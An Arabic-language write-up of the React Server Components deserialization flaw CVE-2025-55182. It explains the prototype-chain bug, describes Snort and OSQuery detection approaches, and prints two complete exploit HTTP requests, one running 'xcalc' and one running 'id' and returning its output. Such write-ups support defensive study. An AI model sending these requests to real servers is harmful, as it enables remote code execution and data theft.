
إثبات مفهوم استغلال يوضح تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء التسلسل غير الآمن في بروتوكول React Flight (CVE-2025-55182). يتضمن قواعد كشف Snort وOSQuery.
React Server Components هي ميزة تم تقديمها في React 19، وتسمح بعرض المكونات على الخادم بدلاً من متصفح العميل. يمكن للخادم معالجة المهام الحسابية المعقدة أثناء إرسال النتائج المعروضة فقط إلى العميل
يعتمد الاتصال بين الخادم والعميل في RSC على بروتوكول React Flight. يتولى هذا البروتوكول عملية تسلسل وإلغاء تسلسل البيانات المنقولة بين الخادم والعميل. عندما يحتاج العميل إلى استدعاء دالة من جهة الخادم (Server Action)، فإنه يرسل طلبًا منسقًا بطريقة خاصة يحتوي على بيانات مُسلسلة ليقوم الخادم بإلغاء تسلسلها ومعالجتها
يستخدم بروتوكول Flight تنسيق تسلسل محدد مع علامات لأنواع البيانات. مثال:
إن آلية التسلسل هذه هي مكان وجود الثغرة. يعالج الخادم هذه المراجع دون التحقق بشكل صحيح من أن الخصائص المطلوبة هي فعلاً تصديرات صالحة من الوحدة المقصودة.
CVE-2025-55182 هي في جوهرها ثغرة إلغاء تسلسل غير آمن في طريقة معالجة RSC للحمولات الواردة من بروتوكول Flight. توجد الثغرة في الدالة requireModule التابعة للحزمة react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
الخطأ الجسيم يكمن في الوصول بترميز الأقواس المربعة: moduleExports[metadata[2]]
في JavaScript، عند الوصول إلى خاصية بترميز الأقواس المربعة، لا يفحص محرك JavaScript خصائص الكائن نفسه فحسب، بل يتنقل عبر سلسلة النماذج الأولية بأكملها. هذا يعني أن المهاجم يمكنه الإشارة إلى خصائص لا تقوم الوحدة بتصديرها بشكل صريح.
الأهم من ذلك، كل دالة في JavaScript تمتلك خاصية constructor تشير إلى مُنشئ Function. من خلال الوصول إلى someFunction.constructor، يحصل المهاجم على مرجع إلى مُنشئ Function العام، وهو كائن يمكنه تنفيذ أكواد JavaScript عشوائية عند استدعائه بوسيط نصي.
تصبح الثغرة قابلة للاستغلال لأن بروتوكول Flight في React يسمح للعميل بتحديد مسارات الخصائص هذه من خلال صيغة المرجع المفصولة بالنقطتين. يمكن للمهاجم إنشاء مرجع مثل $1:constructor:constructor، والذي سينفذ عملية التنقل التالية:
.constructor الخاصة به (الحصول على Function Constructor).constructor مرة أخرى (لا يزال Function Constructor، لكنه يؤكد سلسلة الوصول)يبدأ PoC بإرسال طلب multipart form يتكون من ثلاثة حقول. يحتوي الحقل الأول على كائن Chunk مزيف تم إنشاؤه عمدًا:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
يحاكي هذا الكائن البنية الداخلية لفئة chunk في React. من خلال تعيين then للإشارة إلى Chunk.prototype.then، فإنه ينشئ بنية ذات مرجع ذاتي. عندما يعالج React هذا الـ Chunk وينفذ await عليه، يتم استدعاء دالة then مع Chunk المزيف كسياق this
المكوّن المهم التالي هو المرجع $B1337. في بروتوكول Flight الخاص بـ React، تشير البادئة $B إلى مرجع Blob. عندما يعالج React مرجع Blob، فإنه يستدعي دالة تستخدم: response._formData.get(response._prefix + id)
هنا، تم حقن الكائن _response بخصائص ضارة. عندما ينفذ معالج Blob: response._formData.get(response._prefix + id)
فإنه في الواقع سينفذ: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
السبب هو أن _formData.get تم تعيينه إلى $1:constructor:constructor، وهذا المرجع يتم تحليله إلى Function constructor. قيمة _prefix تحتوي على الكود الخبيث. عند دمجهما، يتم استدعاء Function constructor مع سلسلة الكود الخبيث كوسيط، مما ينشئ وينفذ دالة تحتوي على كود JS عشوائي.
توضح الحمولة process.mainModule.require('child_process').execSync('xcalc') قدرات هذا الاستغلال. تنفذ الحمولة:
process.mainModule (الوحدة الرئيسية قيد التنفيذ)require لتحميل وحدة child_processexecSync لتنفيذ أمر من نظام التشغيلxcalc) لإثبات نجاح الاستغلاليمكن تعديل هذه الحمولة لإنشاء reverse shell، أو استخراج متغيرات البيئة التي تحتوي على معلومات سرية، أو قراءة الملفات الحساسة، أو تنفيذ أي عملية تمتلك عملية Node.js صلاحية القيام بها.
شاهد طلبًا كاملاً في PoC الخاص بـ maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
تعمل الترويسة Next-Action: x على تفعيل آلية معالجة Server Action في React. يتكون الجسم من 3 أجزاء:
_response ضارة.$@0 يشير مرة أخرى إلى الحقل 0، مما ينشئ بنية ذات مرجع ذاتي.عندما يعالج الخادم هذا الطلب، فإنه سيلغي تسلسل الحقل 0، ويواجه المرجع $@0 في الحقل 1، ويقوم بتعيين خاصية then ذات المرجع الذاتي، ثم يفعل معالج Blob، والذي سينفذ الكود عبر Function constructor.
تؤثر CVE-2025-55182 على React Server Components في الإصدارات التالية:
هذه الثغرة خطيرة لأن:
create-next-app يمكن استغلاله دون الحاجة إلى تغيير الكود المصدري.وفقًا لـ Shodan، هناك أكثر من 571,000 خادمًا عامًا يستخدم مكونات React و444,000 خادمًا يستخدم Next.js. على الرغم من أن ليست جميعها تعمل بالإصدارات المتأثرة، إلا أن سطح الهجوم المحتمل كبير جدًا.
يجب أن يحتوي طلب الهجوم على مجموعة من العناصر المحددة جدًا التالية:
Next-Action وتنسيق البيانات هو multipart/form-data.طريقة العمل: قاعدة Snort هذه ستحظر/تنبه حركة المرور الموجهة إلى الخادم (to_server) التي تتوفر فيها جميع العلامات غير الطبيعية المذكورة في القسم 2 (الترويسات + PCRE للتحقق من سلسلة الحمولة الضارة).
الغرض: اكتشاف ومنع سلوك الاستغلال فور حدوثه على الشبكة.
طريقة العمل: تشغيل أمر فحص دوري على الخادم أو في عملية بناء البرمجيات (CI/CD) للعثور على حزم مكتبات Node.js (npm_packages) المصابة بالثغرة.
الحزم المستهدفة: react-server-dom-parcel وreact-server-dom-turbopack وreact-server-dom-webpack
الإصدارات المعيبة التي يتم فحصها: 19.0.0 و19.1.0 حتى أقل من 19.1.2 و19.2.0.
الغرض: اكتشاف التطبيقات المعرضة للخطر بشكل استباقي قبل وصولها إلى بيئة الإنتاج (Product)
حمولة المختبر:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--